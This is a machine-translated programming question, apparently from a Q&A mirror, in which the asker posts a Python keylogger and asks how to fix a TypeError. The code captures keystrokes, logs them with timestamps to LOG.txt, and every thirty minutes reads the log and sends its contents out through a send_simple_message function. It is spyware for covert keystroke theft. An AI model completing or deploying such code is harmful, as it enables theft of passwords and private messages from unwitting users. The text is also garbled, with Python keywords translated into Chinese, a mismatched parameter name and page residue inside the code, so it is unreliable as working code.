def file_input(记录):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
Run Code Online (Sandbox Code Playgroud)
如果name ==" main ":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
Run Code Online (Sandbox Code Playgroud)
我试图在python中写一个键盘记录器,我遇到类型错误,我怎么能解决这个问题?
我只是将记录变量放入write()中,它使类型错误,记录变量类型为list.所以我尝试使用join func但它没有用